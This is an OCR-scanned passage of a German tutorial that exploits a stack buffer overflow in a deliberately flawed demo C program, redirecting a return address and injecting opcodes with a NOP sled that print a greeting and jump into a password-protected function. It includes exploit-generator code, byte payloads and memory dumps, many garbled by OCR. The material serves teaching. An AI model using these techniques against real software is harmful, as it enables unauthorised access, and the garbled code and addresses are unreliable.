be () zurlckzuspringen, denn zugang erlaubt () wird ja nor-
malerweise von eingabe () aufgerufen. Hier wird jetzt die Sa-
che ungemutlich, denn den Stackframe von eingabe () haben
wir ja grundlich verbogen und es kann uns passieren, dass wir
das Programm damit in eine Endlosschleife zwingen, denn am
Ende von eingabe () wird ja wieder die verbogene Ricksprun-
gadresse in zugang erlaubt () gefunden und aufgerufen.

Da beildt sich die Katze also mdglicherweise in den Schwanz,
aber was soll's: Man kann nicht alles haben, soll das Programm
doch nachher einfach abschmieren. Hauptsache wir bekommen
Zugriff auf die geheime Funktion! Los geht’s.

Zunachst brauchen wir die Basisadresse von zu-
gang erteilt (). Die finden wir im Disassembly (oder ohne
Quellcode mit einem Debugger), wenn wir uns im Debug-Modus
befinden. Dazu einfach das Fenster ,Disassembly” rechts etwas
groBer ziehen und durch den Assemblercode scrollen, bis man
auf den Aufruf fir zugang erteilt () stoRt:
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bama . "
] e e P
-t - ™ P

Enter location here | &
vusuissc:  seTa AL
easela2f: seth Xal
8481432 mov ¥dl,¥cl
ea4e14a34: sub Xal,Xcl
00461436:  mov ¥cl,¥al
8481438 movshl ¥al, ¥eax
ea48143b: test Xeax,Xeax
ea48143d: jne @x481448 <eingabes116>
32 check=1;
eas8143f: movl $@xl,-@xc(¥ebp)
0e481445: jmp @xa0144f <eingabe+123>»

35 checks=@;
20401448:  movl $@x@, -@xc(%ebp)
37 if(check == 8) {

ea48144F:  cmpl $ex@, -Bxc(Xebp)

00421453:  jne @x40145c <eingabe+l36:

38 zugang_verweigert();
Ba481455: call @x4813b@ <zugang_verweigert>
ee48145a: jmp @x481461 <eingabe+l4l>

41 zugang_erteilt();
8048145¢c:  call @xd@138c <zugang_erteilt>
43

ee48L461: add $@xie,¥esp

B401464: pop Xesi

BB4B1465: pop Xedi

BR4B1466: pop Xebp

2B481467:  ret

45 int main(veid) {
main:

20401468:  push Xebp

00401469:  mov Xesp,Xebp

Abbildung 36: Detail Disassembly

Offenbar wird die Funktion Uber call 0x40138c aufgerufen.
Nun kénnte man einfach mal versuchen, diese Adresse an die
Speicherstelle fur die Rucksprungadresse zurlick zu main () im
Stackframe von eingabe () zu schreiben.
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Dazu mussen wir Uber die Variable puffer nicht nur die Adres-
se 0x40138c im richtigen Format (namlich als ASCII-Zeichen) in
der richtigen Reihenfolge Uber die Konsole in puf fer schreiben,
sondern vorher noch genauso viele Zeichen als Fullmaterial ein-
fugen, dass die Adresse auch tatsachlich da landet, wo wir sie
brauchen.

In der Abbildung des Stack-Aufbaus kénnen wir ablesen, dass
wir offenbar neben den sechs zulassigen Zeichen fur das Pass-
wort noch weitere 16 Zeichen als Fullmaterial brauchen, um da-
nach an die Rucksprungadresse zu main () zu gelangen und
dort unsere verbogene Sprungadresse zu platzieren. D.h. wir
brauchen 22 Fillzeichen und dann die Adresse 0x0040138c.

FUr diesen einfachen Angriff bauen wir unseren Schad-Code nun
zusammen. Die Adresse 0x0040138c mussen wir dazu in ein-
zelne Bytes zerlegen und in der umgekehrten Reihenfolge auf
den Stack schreiben, damit sie in der richtigen Reihenfolge gele-
sen werden (LIFO-Prinzip):

Aus 0x0040138c wird so: \x8c\x13\x40\x00. Daraus mus-
sen wir jetzt noch ASCII-Zeichen generieren. Da uns das von
Hand zu mihsam ist (und oft daran scheitert, dass man auch
Codes von nicht druckbaren Zeichen braucht), erledigt das ein
kleines C-Programm fUr uns:
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[€) PipeBufferoverflow.c 2

1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>

5= int main() {

6 char pipe[] = "@123456789ABCDEFGHIJKL" // Fullmaterial bis EBP eingabe()
7 i\ x8c\x13\x40\xoeH // Verbogene Adresse @x4@138c

-]

9 furite(pipe, 1, sizeof(pipe), stdout);

10 return @;

11 }

[2. Problems ] Tasks | [E] Console $2 | [ Properties
<terminated> PipeBufferoverflow.exe [C/C++ Application] C:\Digifor\PipeBufferoverflow\Debug\PipeBufferoverflow.exe (05.03.13 16:38)

8123456789ABCDEFGHIJKLERS

Die Zeichenkette (das ist unser Schad-Code) kopieren wir nun
von der Konsole in die Zwischenablage, Ubergeben Sie bei der
Passwortabfrage ans Programm und kontrollieren sofort nach
diesem Schritt den Speicherinhalt:

TS e
L L i e B | R [FEET)

W (utrenploutiur, gubata’) o= 8} {

028128 : 0:28FF28 <Traditional> £
Bx@02BFEEC @B28FFC4  Ay(.
Ox@028FEF@ 75998(D5 0..u
Bx@@28FEF4 31308273 s201
Ox@@28FEF8 35343332 2345

o o - § Bx@B28FEFC 39383736 6789

o : @x@028FFO@ 44434241 ABCD

Ox@O28FFO4 48474645 EFGH

BxBB28FFO8 4C4B4A49 IIKL

2e40138C ..@.

80401940 @.@.

@0744F78  xOt.
Unser Ziel war es, an die Adresse 0x0028FF0 ooeeee34 4..

den Wert 0x0040138c zu schreiben. Das haben exee28FFiC 7EFDE@@®  .ay~

wir offenbar geschaff!

» s
+ oo

Abbildung 38 Mach Einschleusen des Schad-Codes
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Unser Ziel war es, an die Adresse 0x0028FF0C den Wert
0x0040138c zu schreiben. Das haben wir offenbar geschafft!

Jetzt wird es spannend. Bekommen wir nun Zugriff auf die Funk-
tion zugang erteilt ()? Das ,Weiter-Steppen® im Debug-
Modus liefert die Antwort:

B Console 7 | v Tasks [2( Problems () Executables [J Memory

<terminated> Bufferoverflow.exe [C/C++ Application] Bufferoverflow.exe
Bitte geben Sie Ihr Passwort ein:

Zugang verweigert!
Zugang erteilt!

Bingo! Zunachst wird ganz regular die Programmlogik in der
Funktion eingabe () abgearbeitet und festgestellt, dass das
eingegebene Passwort (unser Schad-Code) nicht mit dem hinter-
legten Passwort Ubereinstimmt. Das Programm verzweigt zu-
nachst in die Funktion zugang verweigert (). Dann ,will“ das
Programm — zurlck in eingabe () angelangt — nach main ()
zuruckspringen. Hier liegt nun aber die von uns verbogene Ruck-
sprungadresse, die auf die Startadresse von zu-
gang erteilt () verweist. Somit springt das Programm nun —
obwohl das Passwort falsch ist — doch in die gesicherte Funktion.

Geschafft! Mit dem Schonheitsfehler, dass danach nicht mehr
.,Programmende.“ ausgegeben wird, kdonnen wir leben, sind wir
doch froh, dass wir keine Endlosschleife produziert haben und
das Programm einigermal3en sauber terminiert (immerhin ohne
Absturz) wird.

Die erste Mission ist damit erfullt.

Ausfiihren von fremdem Code

Der nachste Schritt ist nun, Befehle in das Programm einzu-
schleusen, die dort so gar nicht vorgesehen sind. Da wir ja nicht
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wirklich Schaden anrichten wollen, begnigen wir uns damit, dass
das Programm einen Grul} an uns geniale Hacker senden soll
(z.B. die Ausgabe der Meldung ,Hallo_Du_genialer_Hacker!®).

Das ist naturlich nur ein Platzhalter fur wirklich schadliche Funk-
tionen. Man denke beispielsweise daran, was passieren wirde,
wenn man das Programm dazu bewegen wurde, Betriebssystem-
funktionen oder Remote-Shell-Dienste auszufihren, mit denen
ein Angreifer dann direkt einen Fernzugriff auf das System be-
kommen wurde. Das Prinzip ist dasselbe wie die Ausgabe von
unserem harmlosen Streich!

Zunachst mussen wir uns den Schad-Code als Assemblercode
zusammenbauen und daraus sogenannte Opcodes (Maschinen-
sprachebefehle) generieren, die wir dann mit der richtigen Anzahl
von Fullzeichen an die richtige Stelle auf den Stack ablegen. Das
hort sich komplizierter an, als es ist, doch wir haben praktisch
alles, was wir brauchen, schon im Programm.

Viel wichtiger ist zunachst einmal, uns eine Stelle zu Uberlegen,
an der wir unseren Schad-Code ablegen, damit wir spater dahin
verzweigen konnen. Hier hilft uns noch einmal ein Blick auf den
Stack-Aufbau aus Kapitel 0. Oberhalb von main () liegt offenbar
ein Speicherbereich, der nicht vom Programm benutzt wird. Das
ware doch eine schone Stelle, um den Schad-Code abzulegen.

Die Frage ist, wie wir dahin kommen. Die Losung liegt auf der
Hand. Wir wenden das gleiche Verfahren wie in dem vorherigen
Angriff an und mussen einfach nur noch ein paar Fullzeichen
mehr einfigen, um auch den Stack-Bereich von main () zu
Uberschreiben. Schiebt man z.B. 56 Zeichen in die Variable
puffer, dann ist man an Adresse 0x28ff30 angelangt, dem
Segment oberhalb von main () . Wenn wir main () also nach
unserem Angriff noch brauchen wurden, dann ware es eine gute
Idee, den Stack von main () nicht einfach zu Uberschreiben,
sondern die dort abgelegten Rlcksprungadressen und Inhalte zu
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sichern, indem wir sie zusammen mit den Fullzeichen punktge-
nau wieder an die vorherigen Stellen schreiben. Dann wirde
man den Schad-Code oberhalb von main () ablegen und Uber
eine verbogene Sprungadresse dorthin verzweigen. Das ware
auch deshalb clever, um den Schad-Code vor dem Uberschrei-
ben durch Programmfunktionen nach dem Uberlauf zu schiitzen.
Wenn man zudem nicht genau weil3, wo der eigene Schad-Code
anfangt (im Speicher) kann man zusatzlich noch eine so genann-
te NOP-Sledge einbauen, die als Auffangtrichter fir den Sprung
dient. ,NOP* bedeutet ,No-Operation“ und der Befehl macht ein-
fach gar nichts.

Schaltet man mehrere NOPs hintereinander, so werden diese bei
einem Sprung in die Sledge solange nacheinander ausgeflhrt,
bis der Programmzeiger auf einen regularen Befehl trifft. Auch
wenn wir ja schon bemerkt haben, dass die Funktion main ()
nach Einschleusen und Ausfihren unseres letzten Schad-Codes
gar nicht mehr korrekt angesprungen wird, wollen wir sie sicher-
heitshalber nicht einfach mit unserem Schad-Code Uberschrei-
ben. Wir nutzen also fur unseren Schad-Code den rot markierten
Bereich (aufwarts) in der Abbildung zum Stackaufbau. Den tlrkis
markierten Bereich mussen wir dazu auffullen und zur Sicherheit
die dort abgelegten Registerwerte retten.
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Frame | Adresse | Inhalt Hex | Inhalt ASCII Zweck / Bemerkung Mod.
3 o
g :

=]
0x0028FF2C | 004010B9 |'.@. Riicksprungadresse ins Betriebssystem .f::
0x0028FF28 | 0028FF68 | hy(. EBP main() 2
0x0028FF24 | 7EFDE00D | .ay~ E
% 0x0028FF20 | 00000000 | .... &:"
= | 0x0028FF1C | 7EFDE00O |.ay~ E
0x0028FF18 | 00000034 | 4... 2
0x0028FF14 | 00434E80 |.NC. =
0x0028FF10 | 00401940 | @.@. ESP main() 8
0x0028FFOC | 00401478 |{.@. Riicksprungadresse zurtick zu main() k=i
0x0028FF08 | 0028FF28 | (i(. EBP eingabe() é
0x0028FF04 | 00000000 é
0x0028FF00 | 00000000 Z
— | Ox0028FEFC | 00001267 ... Variable check (4 Byte) —griin B
%: 0x0028FEF8 | 36353433 | 3456 §
E" 0x0028FEF4 | 3231D77A | zx12 Variable eingabe[6] — gelb — ab 0x28fef6
“  [ox0028FEF0 | 75998CD5 | &.u
0x0028FEEC | 0028FFC4 | Ay(.
0x0028FEE8 | 0028FF08 | .y(.
0x0028FEE4 | 0028FEDO | . =
0x0028FEE0 | 00401940 | @.@. ESP eingabe() E
0x0028FEDC [ 00000000 Riicksprungadresse zurtick zu eingabe() @

£ Z |ox0028FED8| 00000000 EBP zugang_verweigert()/zugang_erlaubt() E
gﬂ‘g 0x0028FED4 | 00000000 | ... g
g ;::n' 0x0028FEDO | 22CE38EE | 181" g
:ﬂ| giu 0xD028FECC | 75981162 | b..u
a; 0x0028FEC8 | 7598118E |...u
= X | 0x0028FEC4 | 00000008 | ....

0x0028FECO | 7597F4D2 | 0b.u ESP zugang_verweigert()/zugang_erlaubt()

Entwicklung von eigenem Schad-Code

Schaut man sich das Disassembly des Programms (im Debug-
Modus oder mit einem separaten Disassembler) an, so findet
man dort praktisch alle Assembler-Befehle, die fiur die Ausgabe
des Hacker-GrulRes benotigt werden. Gebraucht wird eigentlich
nur der puts-Befehl, der eine Zeichenkette auf der Konsole aus-
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gibt. Man konnte nun ein C-Programm schreiben, welches die
Schadfunktion darstellt und dieses dann Debuggen und in soge-
nannte Opcodes umwandeln. Opcodes sind Befehls-Codes
(Operation-Codes) in Maschinensprache. Letztlich kann der Pro-
zessor nur mit Opcodes arbeiten, denn diese entsprechen 1:1
seinem Befehlssatz. Da diese Opcodes, die nur aus Hexadezi-
mal-Zeichen bestehen, fur den Menschen (Programmierer) sehr
unhandlich und gar nicht portabel (zwischen verschiedenen Pro-
zessortypen) sind, nutzt man Assembler als Ubergeordnete (im-
mer noch maschinennahe) Sprache. Assembler enthalt wenigs-
tens einigermallen sprechende und selbsterklarende Befehle.
Der Befehlsvorrat ist extrem begrenzt und man hat nur wenige
Variablen im Ublichen Sinne (namlich die Register des Prozes-
sors) zur VerfiUgung. Wer aufwandigen (echten) Schad-Code
entwickeln will, kommt somit schon einmal nicht umhin, sich na-
her mit Assembler zu beschaftigen oder ein entsprechendes
Toolkit einzusetzen, was dem Angreifer diese Arbeiten abnimmt.
Das ist die eigentliche Gefahr, denn so schaffen es auch weniger
belichtete Hacker und Script-Kiddies, Angriffe auf Programme
durchzufihren. Aber wir wollen uns ja mit dem akademischen
Ansatz beschaftigen und verstehen, was da passiert. Der Pseu-
docode fur unseren Angriff sieht in etwa wie folgt aus:

01 mov [esp], Adresse string (Hallo Du genialer Hacker!™)
02 call puts

03 string DB "Hallo_Du_genialer_Hacker1““

In Zeile 1 wird die Anfangsadresse der Variable string in das
Register ESP geschoben. String ist in Zeile 3 definiert und ent-
halt die auszugebende Zeichenkette. In Zeile 2 wird nun die
puts-Routine aufgerufen, die das ausgibt, was Uber das Regis-
ter ESP referenziert wird (also string). Man kdnnte nun tatsach-
lich diesen Code mit einem Assembler zu einem lauffahigen Pro-
gramm zusammenbauen. Dazu bendtigt man noch ein bisschen
Beiwerk, die genaue Syntax und vor allem eine komplette Ent-
wicklungsumgebung  fir  Assemblerprogrammierung  (z.B.
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MASMV). Das wiirde im Rahmen dieses Artikels aber zu weit
fuhren und daher wird das Verfahren nur grundsatzlich beschrie-
ben. Wir arbeiten mit den Opcodes weiter, die Uber den nicht im
Detail gezeigten Zwischenschritt ermittelt werden. Die Umwand-
lung des Assemblercodes erfolgt hierbei durch Ausfuhren und
Linken z.B. mittels MASM, wodurch der Opcode erstellt wird. Der
Opcode kann dann z.B. mit dem Programm ,Ollydbg¥* sichtbar
gemacht und die bendtigten Teile mit dem schon vorher verwen-
deten Programm PipeBufferoverflow.c zusammen mit Fullzei-
chen und ggf. geretteten Speicheradressen auf die Konsole aus-
gegeben werden.

Mittels Umleitung der Ausgabe in die Zwischenablage oder in
eine Datei, mit der man das Programm nachher ,futtert, wird der
gesamte Schad-Code eingeschleust. Alternativ zur Verwendung
des Programms ,Ollydbg“ kann man die bendtigten Opcodes
auch im Disassembly des Programms ablesen, da dort alle beno-
tigten Befehle vorkommen.

Der weitere Plan sieht dann so aus, dass das Opferprogramm
den Schad-Code einlesen soll und der Stack des Opferpro-
gramms systematisch Uberschrieben wird. Dann wird es feststel-
len, dass die eingelesene Zeichenkette nicht dem hinterlegten
Passwort entspricht und die entsprechende Funktion zu-
gang verweigert () aufrufen. Nachdem diese abgearbeitet
ist, will das Programm uber die an Adresse 0x0028FF0C abge-
legte Rucksprungadresse zurick nach main () springen. Hier
liegt nun aber die modifizierte Adresse, die auf den Beginn des
eigentlichen Schad-Codes verweist (oder die NOP-Sledge). Der
Schad-Code wird nun also ausgefuhrt und gibt den String ,Hal-
lo_Du_genialer_Hacker!* unmittelbar hinter der Ausgabe ,Zu-
gang verweigert!” aus. AnschlieBend springt der Schad-Code
noch in die Funktion zugang erteilt () und lasst uns auf den
eigentlich gesperrten Teil des Programms zugreifen (siehe An-
griff im vorherigen Kapitel).
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Den Schad-Code mussen wir nun iterativ entwickeln. Wir haben
dabei gleich ein paar kleine Probleme zu |6sen. Zum einen wis-
sen wir nachher nicht, wohin genau wir nach der Ausgabe des
Gruldes springen mussen, denn die Adresse muss relativ ange-
geben werden. Das mussen wir also ausmessen. Zum anderen
macht uns der Opcode ,x00“ Arger. Wir brauchen die ,x00¢ weil
die Adressen mit einem ,x00“ anfangen. Dummerweise ist das
aber auch das Zeichen zum Beenden eines Strings und der
Schad-Code wird dann beim Copy & Paste bei Auftreten des ers-
ten ,x00“ abgeschnitten. Wir behelfen uns zunachst einmal da-
mit, dass wir den Rumpfcode anstelle mit ,x00“ mit einem ,x01“
beschreiben und uns nach dem Einschleusen des Codes direkt
den Speicher anschauen, um die Adresse der Zeichenkette zu
ermitteln (hier erst einmal mehr oder weniger geraten
0x28££50) und die Sprungdistanz auszumessen. Folgender
Code dient uns im ersten Schritt als Dummy:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char pipe[] ="©123456789ABCDEFGHIJKL" // Fiillmaterial bis EBP eingabe()
"\ %90\ x990\ x98\x08" // Reserve - NOP Sledge
"\xc7\x04\x24\x50\xff\x28\x01" [/ Hier beginnt der
//eigentliche Schad-Code movl 9x28ff50 (%esp); Adresse text
"\xe8\xe@\x1c\x17\x01" // call puts
"\ %90\ xb8\ \xBc\x13\x48\x01" /[ mov eax, Ox48138c (verbogen)
"\ xff\xed" [/ jmp eax
"\ x98\x98\x90\x90" ff Reserve
"Hallo_Du_genialer_Hacker!\x00"; Das Ziel!
fwrite(pipe, 1, sizeof(pipe), stdout);
return @;
b

Dieser liefert folgenden Schad-Code, den wir nun einschleusen:

0123456789ABCDEFGH (¥ ( 0¥ ( 012345678901234567891234hy( * @ 27227
2222C_SPy(_ea ?,' @ yaz????Hallo_Du_genialer Hacker!

Dies ergibt im nachsten Step folgenden Speicherinhalt:
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0x0028FEF4 3130D1El1 &R0l
0x0028FEFS8 35343332 2345
0x00Z8FEFC 39383736 6789
0x0028FF00 44434241 ABCD
0x0028FF04 48474645 EFGH

0x0028FF10 33323130 0123
0x0028FF14 37363534 4567
0x0028FF18 31303938 8901
0x0028FF1C 35343332 2345
0x0028FF20 393683736 6789
0x0028FF24 34333231 1234

0x00Z8FF30 3F3F3F3F 277272
0x0028FF34 3F3F3F3F 27727

0x0028FF4C 3F3F3F3F 2?72
0x0028FF50 6C6C6148 Hall
0x0028FF54 75445F6F o Du
0x0028FF58 6E65675F gen
0x0028FF5C 656C6169 iale

0x0028FF60 61485F72 r Ha
0x0028FF64 72656B63 cker
0x0028FF68 00280021 !. (.

Erste Erkenntnis: Die Zeichenkette beginnt bei 0x0028ff50
(gelbe Markierung). Wir haben also richtig geraten ;-). Die geret-
teten Werte (griin) sitzen auch an den richtigen Stellen (haben
allerdings noch eine fuhrende ,x01“ anstelle der richtigen ,x00
Man erkennt die NOPs (hier ,x3F“, die aber eigentlich ,x90“ sein
mussten — Hier stimmt also noch etwas mit der Codierung nicht)
und den eigentlichen Schad-Code (rot). Das konnte funktionie-
ren, wenn wir nun das Problem mit dem ,x00“ I6sen.

Im fertigen Exploit-Generator ist die Losung recht einfach. Wir
geben unseren Schad-Code mit dem Pipe-Operator ,>“ (Umlei-
tung der Ausgabe) anstatt auf der Konsole in eine Datei (z.B.
hex.txt) aus. Dann starten wir das Opferprogramm auf der Kon-
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sole (DOS-Box) und ubergeben die Datei hex.txt als Input an
das Opfer (bufferoverflow.exe < hex.txt). Das hat zum
jetzigen Zeitpunkt aber den Nachteil, dass wir unseren Schad-
Code nicht in Eclipse debuggen und zu Ende entwickeln kdnnen.
Wir muassten ihn ,blind“ entwickeln. Das hilft Ihnen sicherlich nicht
bei der Nachvollziehbarkeit und daher erlauben wir uns, einen
kleinen Trick anzuwenden.

Wir modifizieren das Opferprogramm temporar und bauen den
Schad-Code als globaleY' Variable (Zeile 10-25) direkt in den
Quell-Code ein. Als unsichere Funktion nutzen wir hierbei nicht
gets, sondern kopieren ohne zu prifen, ob die zulassige Zei-
chenzahl fur den Zielstring Uberschritten wird, den Schad-Code
einfach Zeichen flr Zeichen in puffer (Zeile 42). Die gets-
Funktion legen wir zeitweise still (Zeile 44). Zusatzlich haben wir
noch eine Ausgabe der Variablen puffer eingebaut, damit wir
prufen konnen, was als Passwort Ubergeben bzw. verglichen
wurde (zumindest die ersten 6 Zeichen — siehe Zeile 55 und 59):
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1 /*

2 * bufferoverflow.c

3 * Author: Thomas Kafer

4 * Purpose: Demo Bufferoverflow

- Ak

6

7 #include <stdio.h> // Einbinden der ben&tigten Bibliotheken

& #include <stdlib.h>

9 #include <string.h>

16 khar pipestr[] =  "0123456789ABCDEFGH" /4 18 Zeichen Fillmaterial bis EBP eingabe()

11 "\x28\xff\x28'\x00" // EBP von eingabe() sichern

12 "\x30\xFF\x28\x00" /7 Verbiegen des EIP auf den Schadcode (ehemals Ricksprung in main())

13 "@12345678901234567891234" // 24 Zeichen Fillmaterial fur Stack main()

14 "\x68\xff\x28\x00" // EBP main() retten

15 "\xBI\x10\x40'\x20" // Ricksprungadresse in BS retten

16 "\x98\x98\x90\x90" // Reserve - NOP Sledge (eigentlich Uberflussig)

17 "\x98\x90'\x3e'\x90’ /] Reserve

18 "\xc7\x04\x24\x50\xFf\x28\x00" // Hier beginnt der eigentliche Schadcode movl ©x28ff5@, (Xesp); Adresse text
19 "\xe8\xe@\x1c\x17\x00" // call puts

20 "\x98\xb8\xb9\x106\x40'\x00" /1 mov eax, Ricksprung ins Betriebssytem oder @x40138c (Verbogene Adresse)
21 "\xff\xed” /7 jmp eax

22 "\x98\x90\x96\x90" // Reserve

23 “Hallo_Du_genialer_Hacker!\x@";// Das Ziel!

24 dint 1a=ng=-116, // Linge des Schadcodes

25 int ie=8, /1 zshler fur das Kopieren des in puffer

26

27° void zugang_erteilt (void) {

28 puts (“Zugang erteilt!\n"); /7 Ausgabe auf der Console “Zugang erteilt!" - gleichbedeutetnd mit irgendeiner sinnvollen Aktion
29 #flush(stdout); // Freigabe des Ausgabe-Puffers in eclipse (Eigenart won eclipse)

30 }

31

32 void zugang_verweigert (void) {

33 puts (“Zugang verweigert!\n"); // Ausgabe auf der Console “Zugang verweigert!™ - gleichbedeutetnd mit irgendeiner sinnvollen Akt
34 FFlush(stdout); // Freigabe des Ausgabe-Puffers in eclipse (Eigenart von eclipse)

35

36 .

37=void eingabe(void) {

38 char puffer[6]="---- // Variable puffer zur Aufnahme der Benutzereingabe - auf max. 6 Zeichen dimensioniert (Designfeh
39 int check=4711; // Variable zur Verarbeitung des Zugangs zu den Unterfunkticnen

40

41 puts ("Bitte geben Sie Ihr Passwort ein: \n*); // Ausgabe auf der Console mit Aufforderung zur Passworteingabe

2 for (i=8; i < laenge; i++) puffer[i]=pipestr[i];

43 #flush(stdout); /1 Freigabe des Ausgabe-Puffers in eclipse (Eigenart won eclipse)

4 Jigets (puffer); /7 unsichere Funktion, da keine Abfrage erfolgt, ob Anzahl der eingegebenen
45 // Zeichen (hier &) den reservierten Speicherplatz auf dem Stack ibersteig

46 // provoziert Pufferiberlauf; besser: Verwendung von fgets(puffer, 6, stdin);
47 if(stremp(puffer, “gehein”) == @) { // Designfehler: Zu vergleichendes Password steht als Klartext im Code; Kann somit leicht durch
48 // Disassemblen bzw. Debuggen ausgelesen werden;

49 check=1; // wenn Eingabe (puffer) gleich "geheinm” ist, dann "1" zuriickgeben

50

51 =lse}(_

52 check=0; // wenn Eingabe (puffer) ungleich “geheim” ist, dann zuriickgeben

53

54 if(check == @) {

55 puts (puffe:

56 zugang_verweigert(); /7 check ist @ und damit wird Funktion zugang_verweigert aufgerufen

57

58 else {

59 puts (puffer);

60 zugang_erteilt(); // check ist nicht 8 (also z.B. 1) und damit wird Funktion zugang_erteilt aufgerufen

ion

ler)

Das ergibt folgenden Speicherinhalt:
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Ox0028FEF4 31304D0Z .MO1
0x0028FEF8 35343332 2345
Ox00Z8FEFC 39383736 6789
Ox0028FF00 44434241 ABCD
Ox0028FF04 48474645 EFGH

Ox0028FF10 33323130 0123
O0x0028FF14 37363534 4567
0x0028FF18 31303938 6901
0x0028FF1C 35343332 2345
Ox0028FF20 39383736 6789
0x0028FF24 34333231 1234

Ox0028FF50 6C6C6148 Hall
0x0028FF54 75445F6F o Du

0x0028FF58 6E65675F gen
0x0028FF5C 656C6169 iale
0x0028FF60 61485F72 r Ha

O0x0028FF64 72656B63 cker
0x0028FF68 00280021 !.(.

Nun stimmen auch die Codes fur die NOPs (x90) und die Adres-
sen beginnen mit ,00“ statt ,01“. Wenn wir nun aber im Debug-
Modus Uber den Punkt hinausspringen, an dem der Rucksprung
aus zugang verweigert () in eingabe () bzw. zurick nach
main () erfolgen soll, bleibt unser Debugger mit einer Fehler-
meldung hangen. Unsere Rucksprungadresse (relativ) in den
Schad-Code ist also noch nicht korrekt ausgemessen.

Wir mussen daher zum weiteren Debuggen, kurz bevor wir aus
zugang verweigert () zurlckspringen, in den sogenannten
Instruction-Stepping-Mode (siehe roten Pfeil) schalten und auf
Assemblerebene den Code Schritt fir Schritt prifen:
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3 Debug - BufferoverflowMod/stguments.c - Eclipse e == |
File Edt Source Refactor Navigate Search Project Bun Window Help

. e BN [ZI B2 e S-0- Q-0 -0l -we- - Quick Access &1 | By c/ces [ Debug)
#@ =0 U1 Registers s8I =0
Value v

&4 General Registers

e 682

1110 (Suspended: Step)
= 08t
= _mingw CRTStartup() at crtl.c244 Oni01069
= mainCRTStortup() at crtl.c:264 0:401284

o gdb

zugang_verweigert();

1
uts (puffer);
zugang_erteilt();

+= int main(void) {

B Console 51

[C/Ce= Application]
Bitte geben Sie Ihr Passwort ein
012345

Zugang verwelgert!

Man erkennt im Disassembly nun jeden einzelnen Assembler-
Befehl. In der Abbildung des Debug-Modus im Stepping-Mode ist
der Programmzeiger beim ersten NOP-Befehl angelangt (blauer
Pfeil).

Mit ein paar Steps weiter trifft man dann auf den Schad-Code:

0028f££f37: nop

0028ff44: nop

0028ff45: mov $0x4010b9, $eax
0028ffda: Jmp *%$eax
0028ffdc: nop

0028ff4d: nop

0028ffde: nop

Die grun markierte Zeile wird noch korrekt ausgefuhrt, aber bei
der rot markierten Zeile gibt es ein Problem. Hier haben wir of-
fenbar etwas falsch gemacht, denn hier musste eigentlich der
Aufruf call puts stehen.
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Wir haben also offenbar die relative Adresse falsch berechnet.
Eigentlich haben wir das noch gar nicht gemacht und daher ho-
len wir das jetzt nach. Dazu suchen wir im Disassembly nach
dem Befehl puts (gesuchten Begriff einfach in das mit dem Pfeil
markierte Eingabefeld eintippen):

0= Outline =¥ Disassembly 53 |
puts - [ i
uts: -
20401c38: r jmp *@x486124
0e401c3e: nep
00401c3f: nop
fflush:
20401c40: jmp *@x4086118
08401c46: nop
00401c47: nop
furite:
00401c48: jmp *ex4e612e
00401cde: nop
ee4elcaf:  nop
vfprintf: -
20401c50:  jmp *@x40612c 3
00401c56: nop
0e401c57: nop

abort: -

]

Wir werden an Adresse 0x00401c38 fundig. Jetzt mUssen wir
die Differenz aus dieser Adresse 0x00401c38 und der Adresse
des nachsten Befehls nach dem puts-Aufruf (siehe graue Markie-
rung in obiger Abbildung) 0x0028ff44 bilden. Der Windows-
Taschenrechner liefert als Ergebnis 0x171CF4. Diesen Wert
mussen wir nun in unserem Schad-Code als Aufruf flr puts aus-
tauschen. Der nachste Versuch zeigt den Erfolg:

0028££36: nop

0028ff37: nop

0028ff£38: movl $0x28f£f50, (%esp)
0028ff3f: call 0x401c¢38 <puts>
0028f£f£44: nop

0028ff4d5: mov $0x4010b9, Seax
0028ffda: Jmp *%$eax

0028ffdc: nop
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Auf der Konsole wird folgendes ausgegeben:

Bitte geben Sie Ihr Passwort ein:
012345

Zugang verweigert!

Hallo Du genialer Hacker!

Anstatt nun mit mov $0x4010b9, %eax sauber zurlck ins Be-
triebssystem zu springen, wollen wir als Kronung unserer Attacke
nun noch den Sprung in die verbotene Funktion schaffen.

Daher tauschen wir im Schad-Code die Zeile
\x90\xb8\xb9\x10\x40\x00 gegen
\x90\xb8\x8c\x13\x40\x00 aus.

Das liefert dann folgende Ausgabe:

Bitte geben Sie Ihr Passwort ein:

912345
Zugang verweigert!

Hallo Du genialer Hacker!
Zugang erteilt!

Jetzt kdnnen wir die Sektkorken knallen lassen und storen uns
nicht daran, dass das Programm danach abstirzt, weil ja nach
Beendigung der Funktion zugang erteilt () ein Kkorrupter
Stack vorgefunden wird. Wenn man das jetzt auch noch schon
machen mdchte, ware ein Ansatz, anstatt einen Sprung in die
Funktion zugang erteilt () auszufuhren, einen call-Aufruf
zu programmieren. Das sparen wir uns hier aber.

Nun uUbertragen wir unseren Schad-Code (siehe Anhang 0) in
das Hilfsprogramm zur Ausgabe des Exploits auf der Konsole
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und versuchen, unseren so entwickelten Schad-Code in das ur-
sprungliche Programm Uber die Konsole einzuschleusen.

Dazu wird die Ausgabe des Exploit-Generators in eine Datei
(hex.txt) umgeleitet und Uber die Konsole in unser Opferpro-
gramm eingelesen.

Den Schad-Code kann man z.B. mit einem Hex-Editor sichtbar
machen:

% HxD - [C:\Digifor\PipeBufferOverflow2.c\Debug\hex.ba] o | 8 =]
] File Edit Search View Analysis Extras Window ? = |[&]| %
Bl )| «+ 16  [v|| ANSI || hex [+]
@ B
&3] hexbd
Offset (h) 00 01 02 03 04 05 6 07 08 09 OA 0B OC OD OE OF
30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 ;0;:23456’.".’QABCDEE
0 47 48 28 FF 28 00 30 FF 28 00 30 31 32 33 34 35 GH(¥(.0¥(.012345 |
00000020 36 37 38 39 30 31 32 33 349 35 36 37 38 39 31 32 6789012345678912 1
00000030 33 34 68 FF 28 00 B9 10 40 00 90 90 90 90 90 90 34h{(.>*.B....vue
00000040 90 90 C7 04 24 50 FF 28 00 E& F4 1C 17 00 90 B8 ..’g.SFy(.éé....,
8C 13 40 00 FF EO 90 90 90 90 48 61 6C 6C 6F 5F &.@.Va....Hallo_
44 75 SF 67 65 6E 69 61 6C 65 72 S5F 48 61 63 6B Du_genialer Hack
65 72 21 00 00 er!..
Offset: 0 QOverwrite

Mit einer kleinen Modifikation funktioniert dann auch die Ein-
schleusung des Schad-Codes in das ursprungliche Programm.
Die Modifikation besteht darin, dass der Abstand zum puts-
Befehl neu ausgemessen werden muss.

Die puts-Routine liegt nun an 0x00401c38 und daher ist der
